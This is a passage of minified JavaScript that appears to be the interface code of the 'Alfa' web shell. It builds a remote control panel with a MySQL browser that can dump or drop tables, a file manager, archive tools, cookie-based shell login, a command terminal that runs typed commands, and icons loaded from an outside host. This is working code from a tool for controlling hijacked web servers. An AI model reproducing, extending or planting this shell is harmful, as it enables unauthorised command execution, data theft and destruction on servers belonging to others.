class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":"&nbsp;")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="&#x3C;&#x3C;",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML="&#x3E;&#x3E;",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>&gt;</option><option value='>='>&gt;=</option><option value='<'>&lt;</option><option value='<='>&lt;=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" 